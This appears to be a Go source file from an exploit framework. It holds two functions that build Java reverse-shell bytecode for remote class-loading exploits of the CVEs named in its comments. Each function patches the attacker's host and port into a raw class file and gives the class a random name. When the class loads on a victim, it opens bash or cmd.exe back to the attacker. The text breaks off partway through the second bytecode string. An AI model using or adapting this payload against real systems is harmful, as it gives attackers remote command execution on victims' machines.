    "content": "package java\n\nimport (\n\t\"encoding/binary\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/config\"\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\n// This is the Java bytecode for a reverse shell. You can find the source code here:\n//\n// https://gist.github.com/j-baines/38eb6d16eed64986a369f7f981f57508\n//\n// The code checks if the victim is Windows or Linux and uses bash or cmd.exe accordingly.\n// The use case for this is when remotely loading a class (see CVE-2020-7961) or loading\n// a class from a byte string (see CVE-2023-22527).\n//\n// The bytecode was generated using OpenJDK 1.8.0. The exact method of generation follows:\n//\n//\talbinolobster@mournland:/tmp/java$ java -version\n//\topenjdk version \"1.8.0_392\"\n//\tOpenJDK Runtime Environment (build 1.8.0_392-8u392-ga-1~20.04-b08)\n//\tOpenJDK 64-Bit Server VM (build 25.392-b08, mixed mode)\n//\talbinolobster@mournland:/tmp/java$ javac ABCDEFG.java\n//\talbinolobster@mournland:/tmp/java$ ls -l ABCDEFG.class\n//\t-rw-rw-r-- 1 albinolobster albinolobster 2129 Feb 17 06:08 ABCDEFG.class\n//\n// This function replaces hardcoded IP address and port in the bytecode and generates\n// a random class name. The return values are (bytecode, classname).\nfunc ReverseShellBytecode(conf *config.Config) (string, string) {\n\treverseShell := \"\\xca\\xfe\\xba\\xbe\\x00\\x00\\x00\\x34\\x00\\xa0\\x0a\\x00\" +\n\t\t\"\\x32\\x00\\x45\\x08\\x00\\x46\\x08\\x00\\x47\\x0a\\x00\\x48\" +\n\t\t\"\\x00\\x49\\x08\\x00\\x4a\\x0a\\x00\\x09\\x00\\x4b\\x08\\x00\" +\n\t\t\"\\x4c\\x07\\x00\\x4d\\x07\\x00\\x4e\\x0a\\x00\\x08\\x00\\x4f\" +\n\t\t\"\\x0a\\x00\\x08\\x00\\x50\\x0a\\x00\\x08\\x00\\x51\\x07\\x00\" +\n\t\t\"\\x52\\x07\\x00\\x53\\x08\\x00\\x54\\x08\\x00\\x55\\x0a\\x00\" +\n\t\t\"\\x56\\x00\\x57\\x0a\\x00\\x0d\\x00\\x58\\x07\\x00\\x59\\x07\" +\n\t\t\"\\x00\\x5a\\x0a\\x00\\x0d\\x00\\x5b\\x0a\\x00\\x14\\x00\\x5c\" +\n\t\t\"\\x0a\\x00\\x13\\x00\\x5d\\x07\\x00\\x5e\\x07\\x00\\x5f\\x0a\" +\n\t\t\"\\x00\\x0d\\x00\\x60\\x0a\\x00\\x19\\x00\\x61\\x0a\\x00\\x18\" +\n\t\t\"\\x00\\x62\\x0a\\x00\\x63\\x00\\x60\\x0a\\x00\\x63\\x00\\x5b\" +\n\t\t\"\\x0a\\x00\\x0d\\x00\\x64\\x0a\\x00\\x13\\x00\\x65\\x07\\x00\" +\n\t\t\"\\x66\\x0a\\x00\\x21\\x00\\x45\\x0a\\x00\\x21\\x00\\x67\\x08\" +\n\t\t\"\\x00\\x68\\x0a\\x00\\x21\\x00\\x69\\x0a\\x00\\x18\\x00\\x6a\" +\n\t\t\"\\x0a\\x00\\x18\\x00\\x6b\\x05\\x00\\x00\\x00\\x00\\x00\\x00\" +\n\t\t\"\\x00\\x32\\x0a\\x00\\x6c\\x00\\x6d\\x0a\\x00\\x13\\x00\\x6e\" +\n\t\t\"\\x0a\\x00\\x13\\x00\\x6f\\x0a\\x00\\x18\\x00\\x70\\x0a\\x00\" +\n\t\t\"\\x63\\x00\\x71\\x07\\x00\\x72\\x0a\\x00\\x63\\x00\\x73\\x0a\" +\n\t\t\"\\x00\\x0d\\x00\\x74\\x07\\x00\\x75\\x01\\x00\\x04\\x68\\x6f\" +\n\t\t\"\\x73\\x74\\x01\\x00\\x12\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\" +\n\t\t\"\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x01\" +\n\t\t\"\\x00\\x0d\\x43\\x6f\\x6e\\x73\\x74\\x61\\x6e\\x74\\x56\\x61\" +\n\t\t\"\\x6c\\x75\\x65\\x01\\x00\\x04\\x70\\x6f\\x72\\x74\\x01\\x00\" +\n\t\t\"\\x06\\x3c\\x69\\x6e\\x69\\x74\\x3e\\x01\\x00\\x03\\x28\\x29\" +\n\t\t\"\\x56\\x01\\x00\\x04\\x43\\x6f\\x64\\x65\\x01\\x00\\x0f\\x4c\" +\n\t\t\"\\x69\\x6e\\x65\\x4e\\x75\\x6d\\x62\\x65\\x72\\x54\\x61\\x62\" +\n\t\t\"\\x6c\\x65\\x01\\x00\\x0d\\x53\\x74\\x61\\x63\\x6b\\x4d\\x61\" +\n\t\t\"\\x70\\x54\\x61\\x62\\x6c\\x65\\x07\\x00\\x53\\x07\\x00\\x4e\" +\n\t\t\"\\x07\\x00\\x76\\x07\\x00\\x52\\x07\\x00\\x59\\x07\\x00\\x5e\" +\n\t\t\"\\x07\\x00\\x72\\x01\\x00\\x0a\\x53\\x6f\\x75\\x72\\x63\\x65\" +\n\t\t\"\\x46\\x69\\x6c\\x65\\x01\\x00\\x0c\\x41\\x42\\x43\\x44\\x45\" +\n\t\t\"\\x46\\x47\\x2e\\x6a\\x61\\x76\\x61\\x0c\\x00\\x37\\x00\\x38\" +\n\t\t\"\\x01\\x00\\x04\\x62\\x61\\x73\\x68\\x01\\x00\\x07\\x6f\\x73\" +\n\t\t\"\\x2e\\x6e\\x61\\x6d\\x65\\x07\\x00\\x77\\x0c\\x00\\x78\\x00\" +\n\t\t\"\\x79\\x01\\x00\\x07\\x57\\x69\\x6e\\x64\\x6f\\x77\\x73\\x0c\" +\n\t\t\"\\x00\\x7a\\x00\\x7b\\x01\\x00\\x07\\x63\\x6d\\x64\\x2e\\x65\" +\n\t\t\"\\x78\\x65\\x01\\x00\\x18\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\" +\n\t\t\"\\x6e\\x67\\x2f\\x50\\x72\\x6f\\x63\\x65\\x73\\x73\\x42\\x75\" +\n\t\t\"\\x69\\x6c\\x64\\x65\\x72\\x01\\x00\\x10\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\" +\n\t\t\"\\x0c\\x00\\x37\\x00\\x7c\\x0c\\x00\\x7d\\x00\\x7e\\x0c\\x00\" +\n\t\t\"\\x7f\\x00\\x80\\x01\\x00\\x0f\\x6a\\x61\\x76\\x61\\x2f\\x6e\" +\n\t\t\"\\x65\\x74\\x2f\\x53\\x6f\\x63\\x6b\\x65\\x74\\x01\\x00\\x07\" +\n\t\t\"\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x01\\x00\\x08\\x41\\x41\" +\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x01\\x00\\x08\\x42\\x42\\x42\" +\n\t\t\"\\x42\\x42\\x42\\x42\\x42\\x07\\x00\\x81\\x0c\\x00\\x82\\x00\" +\n\t\t\"\\x7b\\x0c\\x00\\x37\\x00\\x83\\x01\\x00\\x16\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x69\\x6f\\x2f\\x42\\x75\\x66\\x66\\x65\\x72\\x65\" +\n\t\t\"\\x64\\x52\\x65\\x61\\x64\\x65\\x72\\x01\\x00\\x19\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x49\\x6e\\x70\\x75\\x74\\x53\" +\n\t\t\"\\x74\\x72\\x65\\x61\\x6d\\x52\\x65\\x61\\x64\\x65\\x72\\x0c\" +\n\t\t\"\\x00\\x84\\x00\\x85\\x0c\\x00\\x37\\x00\\x86\\x0c\\x00\\x37\" +\n\t\t\"\\x00\\x87\\x01\\x00\\x16\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\" +\n\t\t\"\\x2f\\x42\\x75\\x66\\x66\\x65\\x72\\x65\\x64\\x57\\x72\\x69\" +\n\t\t\"\\x74\\x65\\x72\\x01\\x00\\x1a\\x6a\\x61\\x76\\x61\\x2f\\x69\" +\n\t\t\"\\x6f\\x2f\\x4f\\x75\\x74\\x70\\x75\\x74\\x53\\x74\\x72\\x65\" +\n\t\t\"\\x61\\x6d\\x57\\x72\\x69\\x74\\x65\\x72\\x0c\\x00\\x88\\x00\" +\n\t\t\"\\x89\\x0c\\x00\\x37\\x00\\x8a\\x0c\\x00\\x37\\x00\\x8b\\x07\" +\n\t\t\"\\x00\\x76\\x0c\\x00\\x8c\\x00\\x8d\\x0c\\x00\\x8e\\x00\\x8f\" +\n\t\t\"\\x01\\x00\\x17\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\" +\n\t\t\"\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x42\\x75\\x69\\x6c\\x64\" +\n\t\t\"\\x65\\x72\\x0c\\x00\\x90\\x00\\x91\\x01\\x00\\x01\\x0a\\x0c\" +\n\t\t\"\\x00\\x92\\x00\\x8f\\x0c\\x00\\x93\\x00\\x94\\x0c\\x00\\x95\" +\n\t\t\"\\x00\\x38\\x07\\x00\\x96\\x0c\\x00\\x97\\x00\\x98\\x0c\\x00\" +\n\t\t\"\\x99\\x00\\x8d\\x0c\\x00\\x9a\\x00\\x9b\\x0c\\x00\\x93\\x00\" +\n\t\t\"\\x9c\\x0c\\x00\\x9d\\x00\\x9b\\x01\\x00\\x13\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x45\\x78\\x63\\x65\\x70\" +\n\t\t\"\\x74\\x69\\x6f\\x6e\\x0c\\x00\\x9e\\x00\\x38\\x0c\\x00\\x9f\" +\n\t\t\"\\x00\\x38\\x01\\x00\\x10\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\" +\n\t\t\"\\x6e\\x67\\x2f\\x4f\\x62\\x6a\\x65\\x63\\x74\\x01\\x00\\x11\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x50\\x72\" +\n\t\t\"\\x6f\\x63\\x65\\x73\\x73\\x01\\x00\\x10\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x79\\x73\\x74\\x65\\x6d\" +\n\t\t\"\\x01\\x00\\x0b\\x67\\x65\\x74\\x50\\x72\\x6f\\x70\\x65\\x72\" +\n\t\t\"\\x74\\x79\\x01\\x00\\x26\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\" +\n\t\t\"\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\" +\n\t\t\"\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x01\\x00\\x07\\x69\\x6e\" +\n\t\t\"\\x64\\x65\\x78\\x4f\\x66\\x01\\x00\\x15\\x28\\x4c\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\" +\n\t\t\"\\x6e\\x67\\x3b\\x29\\x49\\x01\\x00\\x16\\x28\\x5b\\x4c\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\" +\n\t\t\"\\x69\\x6e\\x67\\x3b\\x29\\x56\\x01\\x00\\x13\\x72\\x65\\x64\" +\n\t\t\"\\x69\\x72\\x65\\x63\\x74\\x45\\x72\\x72\\x6f\\x72\\x53\\x74\" +\n\t\t\"\\x72\\x65\\x61\\x6d\\x01\\x00\\x1d\\x28\\x5a\\x29\\x4c\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x50\\x72\\x6f\" +\n\t\t\"\\x63\\x65\\x73\\x73\\x42\\x75\\x69\\x6c\\x64\\x65\\x72\\x3b\" +\n\t\t\"\\x01\\x00\\x05\\x73\\x74\\x61\\x72\\x74\\x01\\x00\\x15\\x28\" +\n\t\t\"\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\" +\n\t\t\"\\x50\\x72\\x6f\\x63\\x65\\x73\\x73\\x3b\\x01\\x00\\x11\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x49\\x6e\\x74\" +\n\t\t\"\\x65\\x67\\x65\\x72\\x01\\x00\\x08\\x70\\x61\\x72\\x73\\x65\" +\n\t\t\"\\x49\\x6e\\x74\\x01\\x00\\x16\\x28\\x4c\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\" +\n\t\t\"\\x3b\\x49\\x29\\x56\\x01\\x00\\x0e\\x67\\x65\\x74\\x49\\x6e\" +\n\t\t\"\\x70\\x75\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x01\\x00\\x17\" +\n\t\t\"\\x28\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x49\" +\n\t\t\"\\x6e\\x70\\x75\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x3b\\x01\" +\n\t\t\"\\x00\\x18\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\" +\n\t\t\"\\x49\\x6e\\x70\\x75\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x3b\" +\n\t\t\"\\x29\\x56\\x01\\x00\\x13\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x69\\x6f\\x2f\\x52\\x65\\x61\\x64\\x65\\x72\\x3b\\x29\\x56\" +\n\t\t\"\\x01\\x00\\x0f\\x67\\x65\\x74\\x4f\\x75\\x74\\x70\\x75\\x74\" +\n\t\t\"\\x53\\x74\\x72\\x65\\x61\\x6d\\x01\\x00\\x18\\x28\\x29\\x4c\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x4f\\x75\\x74\\x70\" +\n\t\t\"\\x75\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x3b\\x01\\x00\\x19\" +\n\t\t\"\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x4f\\x75\" +\n\t\t\"\\x74\\x70\\x75\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x3b\\x29\" +\n\t\t\"\\x56\\x01\\x00\\x13\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x69\" +\n\t\t\"\\x6f\\x2f\\x57\\x72\\x69\\x74\\x65\\x72\\x3b\\x29\\x56\\x01\" +\n\t\t\"\\x00\\x08\\x69\\x73\\x43\\x6c\\x6f\\x73\\x65\\x64\\x01\\x00\" +\n\t\t\"\\x03\\x28\\x29\\x5a\\x01\\x00\\x08\\x72\\x65\\x61\\x64\\x4c\" +\n\t\t\"\\x69\\x6e\\x65\\x01\\x00\\x14\\x28\\x29\\x4c\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\" +\n\t\t\"\\x67\\x3b\\x01\\x00\\x06\\x61\\x70\\x70\\x65\\x6e\\x64\\x01\" +\n\t\t\"\\x00\\x2d\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\" +\n\t\t\"\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x29\\x4c\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\" +\n\t\t\"\\x69\\x6e\\x67\\x42\\x75\\x69\\x6c\\x64\\x65\\x72\\x3b\\x01\" +\n\t\t\"\\x00\\x08\\x74\\x6f\\x53\\x74\\x72\\x69\\x6e\\x67\\x01\\x00\" +\n\t\t\"\\x05\\x77\\x72\\x69\\x74\\x65\\x01\\x00\\x15\\x28\\x4c\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\" +\n\t\t\"\\x69\\x6e\\x67\\x3b\\x29\\x56\\x01\\x00\\x05\\x66\\x6c\\x75\" +\n\t\t\"\\x73\\x68\\x01\\x00\\x10\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\" +\n\t\t\"\\x6e\\x67\\x2f\\x54\\x68\\x72\\x65\\x61\\x64\\x01\\x00\\x05\" +\n\t\t\"\\x73\\x6c\\x65\\x65\\x70\\x01\\x00\\x04\\x28\\x4a\\x29\\x56\" +\n\t\t\"\\x01\\x00\\x05\\x72\\x65\\x61\\x64\\x79\\x01\\x00\\x04\\x72\" +\n\t\t\"\\x65\\x61\\x64\\x01\\x00\\x03\\x28\\x29\\x49\\x01\\x00\\x04\" +\n\t\t\"\\x28\\x49\\x29\\x56\\x01\\x00\\x09\\x65\\x78\\x69\\x74\\x56\" +\n\t\t\"\\x61\\x6c\\x75\\x65\\x01\\x00\\x07\\x64\\x65\\x73\\x74\\x72\" +\n\t\t\"\\x6f\\x79\\x01\\x00\\x05\\x63\\x6c\\x6f\\x73\\x65\\x00\\x21\" +\n\t\t\"\\x00\\x0e\\x00\\x32\\x00\\x00\\x00\\x02\\x00\\x18\\x00\\x33\" +\n\t\t\"\\x00\\x34\\x00\\x01\\x00\\x35\\x00\\x00\\x00\\x02\\x00\\x0f\" +\n\t\t\"\\x00\\x18\\x00\\x36\\x00\\x34\\x00\\x01\\x00\\x35\\x00\\x00\" +\n\t\t\"\\x00\\x02\\x00\\x10\\x00\\x01\\x00\\x01\\x00\\x37\\x00\\x38\" +\n\t\t\"\\x00\\x01\\x00\\x39\\x00\\x00\\x01\\xeb\\x00\\x06\\x00\\x0b\" +\n\t\t\"\\x00\\x00\\x01\\x03\\x2a\\xb7\\x00\\x01\\x12\\x02\\x4c\\x12\" +\n\t\t\"\\x03\\xb8\\x00\\x04\\x12\\x05\\xb6\\x00\\x06\\x02\\x9f\\x00\" +\n\t\t\"\\x06\\x12\\x07\\x4c\\xbb\\x00\\x08\\x59\\x04\\xbd\\x00\\x09\" +\n\t\t\"\\x59\\x03\\x2b\\x53\\xb7\\x00\\x0a\\x04\\xb6\\x00\\x0b\\xb6\" +\n\t\t\"\\x00\\x0c\\x4d\\xbb\\x00\\x0d\\x59\\x12\\x0f\\x12\\x10\\xb8\" +\n\t\t\"\\x00\\x11\\xb7\\x00\\x12\\x4e\\xbb\\x00\\x13\\x59\\xbb\\x00\" +\n\t\t\"\\x14\\x59\\x2d\\xb6\\x00\\x15\\xb7\\x00\\x16\\xb7\\x00\\x17\" +\n\t\t\"\\x3a\\x04\\xbb\\x00\\x18\\x59\\xbb\\x00\\x19\\x59\\x2d\\xb6\" +\n\t\t\"\\x00\\x1a\\xb7\\x00\\x1b\\xb7\\x00\\x1c\\x3a\\x05\\xbb\\x00\" +\n\t\t\"\\x18\\x59\\xbb\\x00\\x19\\x59\\x2c\\xb6\\x00\\x1d\\xb7\\x00\" +\n\t\t\"\\x1b\\xb7\\x00\\x1c\\x3a\\x06\\xbb\\x00\\x13\\x59\\xbb\\x00\" +\n\t\t\"\\x14\\x59\\x2c\\xb6\\x00\\x1e\\xb7\\x00\\x16\\xb7\\x00\\x17\" +\n\t\t\"\\x3a\\x07\\x2d\\xb6\\x00\\x1f\\x9a\\x00\\x64\\x19\\x04\\xb6\" +\n\t\t\"\\x00\\x20\\x59\\x3a\\x08\\xc6\\x00\\x21\\x19\\x06\\xbb\\x00\" +\n\t\t\"\\x21\\x59\\xb7\\x00\\x22\\x19\\x08\\xb6\\x00\\x23\\x12\\x24\" +\n\t\t\"\\xb6\\x00\\x23\\xb6\\x00\\x25\\xb6\\x00\\x26\\x19\\x06\\xb6\" +\n\t\t\"\\x00\\x27\\x14\\x00\\x28\\xb8\\x00\\x2a\\x03\\x36\\x09\\x19\" +\n\t\t\"\\x07\\xb6\\x00\\x2b\\x99\\x00\\x18\\x19\\x07\\xb6\\x00\\x2c\" +\n\t\t\"\\x59\\x36\\x09\\x9e\\x00\\x0d\\x19\\x05\\x15\\x09\\xb6\\x00\" +\n\t\t\"\\x2d\\xa7\\xff\\xe6\\x19\\x05\\xb6\\x00\\x27\\x2c\\xb6\\x00\" +\n\t\t\"\\x2e\\x57\\xa7\\x00\\x08\\x3a\\x0a\\xa7\\xff\\x9b\\x2c\\xb6\" +\n\t\t\"\\x00\\x30\\x2d\\xb6\\x00\\x31\\xa7\\x00\\x04\\x4c\\xb1\\x00\" +\n\t\t\"\\x02\\x00\\xe9\\x00\\xee\\x00\\xf1\\x00\\x2f\\x00\\x04\\x00\" +\n\t\t\"\\xfe\\x01\\x01\\x00\\x2f\\x00\\x02\\x00\\x3a\\x00\\x00\\x00\" +\n\t\t\"\\x72\\x00\\x1c\\x00\\x00\\x00\\x0f\\x00\\x04\\x00\\x11\\x00\" +\n\t\t\"\\x07\\x00\\x12\\x00\\x15\\x00\\x13\\x00\\x18\\x00\\x16\\x00\" +\n\t\t\"\\x2f\\x00\\x17\\x00\\x3e\\x00\\x18\\x00\\x52\\x00\\x19\\x00\" +\n\t\t\"\\x66\\x00\\x1a\\x00\\x7a\\x00\\x1b\\x00\\x8e\\x00\\x1d\\x00\" +\n\t\t\"\\x95\\x00\\x1f\\x00\\xa0\\x00\\x20\\x00\\xb9\\x00\\x21\\x00\" +\n\t\t\"\\xbe\\x00\\x23\\x00\\xc4\\x00\\x25\\x00\\xc7\\x00\\x26\\x00\" +\n\t\t\"\\xda\\x00\\x27\\x00\\xe4\\x00\\x29\\x00\\xe9\\x00\\x2b\\x00\" +\n\t\t\"\\xee\\x00\\x2c\\x00\\xf1\\x00\\x2d\\x00\\xf3\\x00\\x2f\\x00\" +\n\t\t\"\\xf6\\x00\\x31\\x00\\xfa\\x00\\x32\\x00\\xfe\\x00\\x34\\x01\" +\n\t\t\"\\x01\\x00\\x33\\x01\\x02\\x00\\x35\\x00\\x3b\\x00\\x00\\x00\" +\n\t\t\"\\x4e\\x00\\x09\\xff\\x00\\x18\\x00\\x02\\x07\\x00\\x3c\\x07\" +\n\t\t\"\\x00\\x3d\\x00\\x00\\xff\\x00\\x75\\x00\\x08\\x07\\x00\\x3c\" +\n\t\t\"\\x07\\x00\\x3d\\x07\\x00\\x3e\\x07\\x00\\x3f\\x07\\x00\\x40\" +\n\t\t\"\\x07\\x00\\x41\\x07\\x00\\x41\\x07\\x00\\x40\\x00\\x00\\xfc\" +\n\t\t\"\\x00\\x2f\\x07\\x00\\x3d\\xfc\\x00\\x08\\x01\\x1c\\x4c\\x07\" +\n\t\t\"\\x00\\x42\\xf9\\x00\\x04\\xff\\x00\\x0a\\x00\\x01\\x07\\x00\" +\n\t\t\"\\x3c\\x00\\x01\\x07\\x00\\x42\\x00\\x00\\x01\\x00\\x43\\x00\" +\n\t\t\"\\x00\\x00\\x02\\x00\\x44\"\n\n\tclassSize := make([]byte, 2)\n\tclassString := transform.Title(random.RandLettersRange(8, 17))\n\tbinary.BigEndian.PutUint16(classSize, uint16(len(classString)))\n\n\tipSize := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(ipSize, uint16(len(conf.Lhost)))\n\n\tportSize := make([]byte, 2)\n\tportString := strconv.Itoa(conf.Lport)\n\tbinary.BigEndian.PutUint16(portSize, uint16(len(portString)))\n\n\treverseShell = strings.ReplaceAll(reverseShell, \"\\x00\\x07ABCDEFG\", string(classSize)+classString)\n\treverseShell = strings.ReplaceAll(reverseShell, \"\\x00\\x08AAAAAAAA\", string(ipSize)+conf.Lhost)\n\treverseShell = strings.ReplaceAll(reverseShell, \"\\x00\\x08BBBBBBBB\", string(portSize)+portString)\n\n\treturn reverseShell, classString\n}\n\n// This is the Java bytecode for a reverse shell. You can find the source code here:\n//\n// https://gist.github.com/j-shomo/053031f2ee9ba7f29fca2305c6ea8c6a\n//\n// The code checks if the victim is Windows or Linux and uses bash or cmd.exe accordingly.\n// The use case for this is when remotely loading a class via ScriptEngineManager calling\n// URLClassLoader (see CVE-2024-37084)\n//\n// The bytecode was generated using OpenJDK 1.8.0. The exact method of generation follows:\n//\n// parallels@ubuntu-linux-22-04-02-desktop:~/Downloads$ java -version\n// openjdk version \"1.8.0_422\"\n// OpenJDK Runtime Environment (build 1.8.0_422-8u422-b05-1~22.04-b05)\n// OpenJDK 64-Bit Server VM (build 25.422-b05, mixed mode)\n// parallels@ubuntu-linux-22-04-02-desktop:~/Downloads$ javac Reverse.java\n// parallels@ubuntu-linux-22-04-02-desktop:~/Downloads$ ls -l Reverse.class\n// -rw-rw-r-- 1 parallels parallels 3124 Sep 20 12:58 Reverse.class\n//\n// This function replaces hardcoded IP address and port in the bytecode and generates\n// a random class name. The return values are (bytecode, classname).\nfunc ReverseShellScriptingEngineBytecode(conf *config.Config) (string, string) {\n\treverseShell := \"\\xca\\xfe\\xba\\xbe\\x00\\x00\\x00\\x34\" +\n\t\t\"\\x00\\xae\\x0a\\x00\\x32\\x00\\x55\\x08\" +\n\t\t\"\\x00\\x56\\x08\\x00\\x57\\x0a\\x00\\x58\" +\n\t\t\"\\x00\\x59\\x08\\x00\\x5a\\x0a\\x00\\x09\" +\n\t\t\"\\x00\\x5b\\x08\\x00\\x5c\\x07\\x00\\x5d\" +\n\t\t\"\\x07\\x00\\x5e\\x0a\\x00\\x08\\x00\\x5f\" +\n\t\t\"\\x0a\\x00\\x08\\x00\\x60\\x0a\\x00\\x08\" +\n\t\t\"\\x00\\x61\\x07\\x00\\x62\\x07\\x00\\x63\" +\n\t\t\"\\x08\\x00\\x64\\x08\\x00\\x65\\x0a\\x00\" +\n\t\t\"\\x66\\x00\\x67\\x0a\\x00\\x0d\\x00\\x68\" +\n\t\t\"\\x07\\x00\\x69\\x07\\x00\\x6a\\x0a\\x00\" +\n\t\t\"\\x0d\\x00\\x6b\\x0a\\x00\\x14\\x00\\x6c\" +\n\t\t\"\\x0a\\x00\\x13\\x00\\x6d\\x07\\x00\\x6e\" +\n\t\t\"\\x07\\x00\\x6f\\x0a\\x00\\x0d\\x00\\x70\" +\n\t\t\"\\x0a\\x00\\x19\\x00\\x71\\x0a\\x00\\x18\" +\n\t\t\"\\x00\\x72\\x0a\\x00\\x3d\\x00\\x70\\x0a\" +\n\t\t\"\\x00\\x3d\\x00\\x6b\\x0a\\x00\\x0d\\x00\" +\n\t\t\"\\x73\\x0a\\x00\\x13\\x00\\x74\\x07\\x00\" +\n\t\t\"\\x75\\x0a\\x00\\x21\\x00\\x55\\x0a\\x00\" +\n\t\t\"\\x21\\x00\\x76\\x08\\x00\\x77\\x0a\\x00\" +\n\t\t\"\\x21\\x00\\x78\\x0a\\x00\\x18\\x00\\x79\" +\n\t\t\"\\x0a\\x00\\x18\\x00\\x7a\\x05\\x00\\x00\" +\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x32\\x0a\\x00\" +\n\t\t\"\\x7b\\x00\\x7c\\x0a\\x00\\x13\\x00\\x7d\" +\n\t\t\"\\x0a\\x00\\x13\\x00\\x7e\\x0a\\x00\\x18\" +\n\t\t\"\\x00\\x7f\\x0a\\x00\\x3d\\x00\\x80\\x07\" +\n\t\t\"\\x00\\x81\\x0a\\x00\\x3d\\x00\\x82\\x0a\" +\n\t\t\"\\x00\\x0d\\x00\\x83\\x07\\x00\\x84\\x07\" +\n\t\t\"\\x00\\x85\\x01\\x00\\x04\\x68\\x6f\\x73\" +\n\t\t\"\\x74\\x01\\x00\\x12\\x4c\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\" +\n\t\t\"\\x74\\x72\\x69\\x6e\\x67\\x3b\\x01\\x00\" +\n\t\t\"\\x0d\\x43\\x6f\\x6e\\x73\\x74\\x61\\x6e\" +\n\t\t\"\\x74\\x56\\x61\\x6c\\x75\\x65\\x01\\x00\" +\n\t\t\"\\x04\\x70\\x6f\\x72\\x74\\x01\\x00\\x06\" +\n\t\t\"\\x3c\\x69\\x6e\\x69\\x74\\x3e\\x01\\x00\" +\n\t\t\"\\x03\\x28\\x29\\x56\\x01\\x00\\x04\\x43\" +\n\t\t\"\\x6f\\x64\\x65\\x01\\x00\\x0f\\x4c\\x69\" +\n\t\t\"\\x6e\\x65\\x4e\\x75\\x6d\\x62\\x65\\x72\" +\n\t\t\"\\x54\\x61\\x62\\x6c\\x65\\x01\\x00\\x0d\" +\n\t\t\"\\x53\\x74\\x61\\x63\\x6b\\x4d\\x61\\x70\" +\n\t\t\"\\x54\\x61\\x62\\x6c\\x65\\x07\\x00\\x86\" +\n\t\t\"\\x01\\x00\\x0d\\x67\\x65\\x74\\x45\\x6e\" +\n\t\t\"\\x67\\x69\\x6e\\x65\\x4e\\x61\\x6d\\x65\" +\n\t\t\"\\x01\\x00\\x14\\x28\\x29\\x4c\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\" +\n\t\t\"\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x01\" +\n\t\t\"\\x00\\x10\\x67\\x65\\x74\\x45\\x6e\\x67\" +\n\t\t\"\\x69\\x6e\\x65\\x56\\x65\\x72\\x73\\x69\" +\n\t\t\"\\x6f\\x6e\\x01\\x00\\x0d\\x67\\x65\\x74\" +\n\t\t\"\\x45\\x78\\x74\\x65\\x6e\\x73\\x69\\x6f\" 